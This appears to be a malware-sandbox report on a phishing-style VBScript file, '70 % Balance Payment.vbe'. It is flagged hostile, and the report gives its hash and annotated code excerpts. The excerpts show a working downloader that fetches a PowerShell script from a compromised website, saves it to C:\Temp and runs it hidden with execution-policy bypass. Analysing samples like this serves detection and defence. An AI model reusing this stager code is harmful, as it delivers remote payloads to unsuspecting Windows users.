Hostile 100% windows Download

70 % Balance Payment.vbe

VBScript HTTP response, file-write and command execution cluesVBS HTTP fetch then hidden PowerShell
SHA-25605eb597386b89a988ae483186e260daad23f0214a2d7e19d690177cf4bf80ed3

Evidence

URL ends in .cmd, .ps1 or .dll lines 3–17
3:24… ----------------------------------------------
4Dim gUrl, gStageDir, gPayloadPath, gLaunchCmd
5gUrl = "https://valentimadvocacia.com.br/wp-admin/css/colors/blue/secured_stuub.ps1"
6gStageDir = "C:\Temp\"
7
8' ---- Entry point --------------------------------------------------
9Dim pipeline
10Set pipeline = New Stager
11If Not pipeline.Run(gUrl, gStageDir) Then
12 WScript.Quit 1
13End If
14
15' ---- Class: Stager ------------------------------------------------
16Class Stager
17 Pri …
Creates legacy ActiveX HTTP object lines 18–47
18:4… Private mPayloadPath, mLaunchCmd
19
20 Public Function Run(url, stageDir)
21 Run = False
22 Set mFs = CreateObject("Scripting.FileSystemObject")
23 Set mShell = CreateObject("WScript.Shell")
24 Set mHttp = CreateObject("MSXML2.XMLHTTP")
25
26 If Not Prepare(stageDir) Then Exit Function
27 If Not Fetch(url) Then Exit Function
28 Run = Launch()
29 End Function
30
31 ' ---- Stage 1: workspace ---------------------------------------
32 Private Function Prepare(stageDir)
33 Prepare = False
34 If Not mFs.FolderExists(stageDir) Then
35 If Not CreateFolder(stageDir) Then Exit Function
36 End If
37 mPayloadPath = stageDir & MakeTag(8) & ".ps1"
38 mLaunchCmd = "powershell.exe -nop -ep bypass -file """ & mPayloadPath & """"
39 Prepare = True
40 End Function
41
42 Private Function CreateFolder(path)
43 CreateFolder = False
44 On Error Resume Next
45 mFs.CreateFolder path
46 If Err.Number <> 0 Then
47 Emit "FOLDER_ERR: …
WSH reuses response text as follow-up URL lines 61–83
61:5… Emit "HTTP_ERR: " & mHttp.Status
62 Exit Function
63 End If
64 If Not SaveFile(mPayloadPath, mHttp.ResponseText) Then Exit Function
65 Fetch = True
66 End Function
67
68 Private Function Transfer(url)
69 Transfer = False
70 On Error Resume Next
71 mHttp.Open "GET", url, False
72 mHttp.Send
73 If Err.Number <> 0 Then
74 Emit "DL_FAIL: " & Err.Description
⋯9 lines
CreateTextFile invocation syntax lines 83–96
83:15… nction SaveFile(path, contents)
84 SaveFile = False
85 On Error Resume Next
86 Dim out
87 Set out = mFs.CreateTextFile(path, True)
88 out.Write contents
89 out.Close
⋯7 lines
Run call with zero and Boolean arguments lines 101–109
101:21… Launch()
102 Launch = False
103 On Error Resume Next
104 mShell.Run mLaunchCmd, 0, True
105 If Err.Number = 0 Then
106 Launch = True
107 Else
108 Emit "RUN_ERR: " & Err.Description
109 …

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.